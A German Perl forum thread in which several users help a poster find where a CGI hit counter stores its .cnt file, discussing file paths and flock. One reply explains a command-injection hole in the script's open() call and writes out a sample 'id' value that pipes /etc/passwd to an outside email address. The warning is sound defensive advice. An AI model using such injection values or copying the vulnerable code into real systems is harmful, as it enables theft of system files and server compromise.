Sag, wo sind die Dateien hin. Wo..
dey
- perl
0 alligator0 MudGuard0 Struppi0 Richard Voß0 dey
Servus
Ich muss zugeben ich habe von PERL keine Ahnung. Ich habe mich aber soweit durch ein vorhandenes script gearbeitet, dass ich glaube es im Grossen und Ganzen zu verstehen. Aber an einer Stelle hängt es:
Übergabestring aus html/js= src="/cgi-bin/pscounter.cgi?id=PageID&zero=5&display=graphic"
Pfaddeklaration im cgi=
$DDIR = "";
Datei öffnen im cgi=
print "Content-Type: application/x-javascript\n\n";
$file = "$DDIR/$FORM{'id'}.cnt";
if(! -e $file) {
$count = 0;
} else {
open(CNT, "$file") || die "count not read $file";
$count = <CNT>;
chomp($count);
close(CNT);
Ich vermutete eine pageid.cnt oder zumindest eine *.cnt im selben Verzeichnis wie meine cgi-Datei, Pustekuchen.
bydey
Hi
$file = "$DDIR/$FORM{'id'}.cnt";
»
$DDIR leet ist dann steht sie in
/$FORM{'id'}.cnt
Also schau mal nach *.cnt in /.
MfG
alligator
Hi,
$DDIR = "";
$file = "$DDIR/$FORM{'id'}.cnt";
$file setzt sich also aus $DDIR, einem /, dem Inhalt der Variable $FORM('id') sowie der Endung .cnt zusammen.
$DDIR ist leer.
Der Dateipfad beginnt also mit / - also im Root des (Unix-)Dateisystems.
In welchem Verzeichnis sie tatsächlich liegt, hängt von $FORM('id') ab - wenn darin keine / vorkommen, ist die Datei direkt in Root.
Ich vermutete eine pageid.cnt oder zumindest eine *.cnt im selben Verzeichnis wie meine cgi-Datei, Pustekuchen.
Warum vermutest Du sie dort?
cu,
Andreas
Servus Andreas
In welchem Verzeichnis sie tatsächlich liegt, hängt von $FORM('id') ab - wenn darin keine / vorkommen, ist die Datei direkt in Root.
Ich vermutete eine pageid.cnt oder zumindest eine *.cnt im selben Verzeichnis wie meine cgi-Datei, Pustekuchen.
Warum vermutest Du sie dort?
Keine Ahnung. Ich habe eine leere $DDIR etwas anders/ falsch interpretiert.
Da ich kein Zugriff auf das Root habe, denn mit *.cnt habe ich schon den ganzen Server abgesucht, wird es wohl das Beste sein ich setzte $DDIR auf einen realistischen Wert und erzeuge die Datei neu und setze danach den Counter nach belieben.?
bydey
Servus
Keine Ahnung. Ich habe eine leere $DDIR etwas anders/ falsch interpretiert.
Da ich kein Zugriff auf das Root habe, denn mit *.cnt habe ich schon den ganzen Server abgesucht, wird es wohl das Beste sein ich setzte $DDIR auf einen realistischen Wert und erzeuge die Datei neu und setze danach den Counter nach belieben.?
Genauso ging es. Danke, Andreas.
bydey
Genauso ging es. Danke, Andreas.
aber wie gesagt, dieser Counter wird nicht funktionieren.
Struppi.
Servus
aber wie gesagt, dieser Counter wird nicht funktionieren.
Der Rest vom Schützenfest enthält noch eine Cookie-Abfrage, die wohl Mehrfacheinträge verhindern, es aber nicht tut.
Ein Problem, um das ich mich später kümmere und das ich woanders unter ASP schon erfolgreich umgangen habe.
bydey
Der Rest vom Schützenfest enthält noch eine Cookie-Abfrage, die wohl Mehrfacheinträge verhindern, es aber nicht tut.
Das ist nicht das Problem. Du hast schonmal was von flock gehört?
ohne wird dein Zähler immer wieder falsch zählen.
Struppi.
Servus
Der Rest vom Schützenfest enthält noch eine Cookie-Abfrage, die wohl Mehrfacheinträge verhindern, es aber nicht tut.
Das ist nicht das Problem. Du hast schonmal was von flock gehört?
ohne wird dein Zähler immer wieder falsch zählen.
Nein, aber gib mir doch mal den link zu perlfaq
bydey
Hi,
Nein, aber gib mir doch mal den link zu perlfaq
Da kann ich nur sagen: "perldoc perldoc".
Grüße Andres Freund
PS: Wir wollen ja mal nicht so sein. Schau bei "perldoc -f flock" nach.
Servus
Nein, aber gib mir doch mal den link zu perlfaq
Da kann ich nur sagen: "perldoc perldoc".Grüße Andres Freund
PS: Wir wollen ja mal nicht so sein. Schau bei "perldoc -f flock" nach.
Danke, dass ihr es so kompliziert macht. Dennoch habe ich die Bedeutung von flock gefunden.
Da ich im Monat mit ca 200-1000 Zugriffen rechne wird es bei mir keine derartigen Probleme geben.
Es geht nicht exakte Zahlen sondern eher um Tendenz: waren es 10 oder 100 oder 1000 im Monat.
Es ist ohne flock nicht perfekt, aber für meine Zwecke ausreichend.
bydey
Es geht nicht exakte Zahlen sondern eher um Tendenz: waren es 10 oder 100 oder 1000 im Monat.
Es ist ohne flock nicht perfekt, aber für meine Zwecke ausreichend.
Wen der Zähler immer mal wieder auf null gesetzt wird ist ausreichend?
warum holst dir nicht einfach einen kostenlosen?
Struppi.
Servus
Wen der Zähler immer mal wieder auf null gesetzt wird ist ausreichend?
Das ist natürlich überzeugend.
warum holst dir nicht einfach einen kostenlosen?
Ist eine Firmenhomepage und ich möchte keine Fremdprodukte einbinden.
Werde also über flock nachdenken. Aber eins nach dem anderen. Danke
bydey
Pfaddeklaration im cgi=
Set this to the directory to store data.
This directory must have write access.
Use "." for cgi-bin directory
$DDIR = "";
Datei öffnen im cgi=
print "Content-Type: application/x-javascript\n\n";
$file = "$DDIR/$FORM{'id'}.cnt";
if(! -e $file) {
$count = 0;
} else {
open(CNT, "$file") || die "count not read $file";
$count = <CNT>;
chomp($count);
close(CNT);Ich vermutete eine pageid.cnt oder zumindest eine *.cnt im selben Verzeichnis wie meine cgi-Datei, Pustekuchen.
wenn du keine Datei anlegst ist auch keine da.
Wenn das ein counter werden soll,kannst du auch genauso gut Zufallszahlen ausgeben. Ohne flock Mechanismus taugt sowas gar nicht, steht aber auch in der Perlfaq.
Struppi.
Ich muss zugeben ich habe von PERL keine Ahnung.
Das ist keine gute Voraussetzung, um sicherhetskritische Probleme zu lösen. Du gefährdest nämlich deinen Webserver.
Pfaddeklaration im cgi=
Set this to the directory to store data.
This directory must have write access.
Use "." for cgi-bin directory
$DDIR = "";
Datei öffnen im cgi=
print "Content-Type: application/x-javascript\n\n";
$file = "$DDIR/$FORM{'id'}.cnt";
^^^^^^^^^^^
Woher kommt %FORM? Das sieht wieder nach so einem grottenschlechten handgestrickten Formparser aus. Ich kann dir jetzt schon sagen, dass dieses Programm große Sch**** ist.
if(! -e $file) {
$count = 0;
} else {
open(CNT, "$file") || die "count not read $file";
Weißt du, was passiert, wenn ich dir als 'id' folgendes übergebe?
dummy; cat /etc/passwd | sendmail somewhere@somepla.ce ; echo
Dann wird in $file folgendes stehen:
/dummy; cat /etc/passwd | sendmail somewhere@somepla.ce; echo .cnt
und rate mal, was bei open() passiert?
Richtig, deine /etc/passwd wird schlimmstenfalls an jemanden per email verschickt.
Besorg dir ein ordentliches Programm! Dieser Mist gehört in die Datensenke.
Servus
Ich muss zugeben ich habe von PERL keine Ahnung.
Das ist keine gute Voraussetzung, um sicherhetskritische Probleme zu lösen. Du gefährdest nämlich deinen Webserver.
Da hast du wohl recht. Die Datei ist ja auch nicht von mir.
und rate mal, was bei open() passiert?
Richtig, deine /etc/passwd wird schlimmstenfalls an jemanden per email verschickt.
»»
Habe ich gerade getestet mit meiner email, da kommt aber nichts zurück.
Besorg dir ein ordentliches Programm! Dieser Mist gehört in die Datensenke.
Sollte wohl sicherer sein, wenn ich die var $file fix auf einen Namen einstelle.
bydey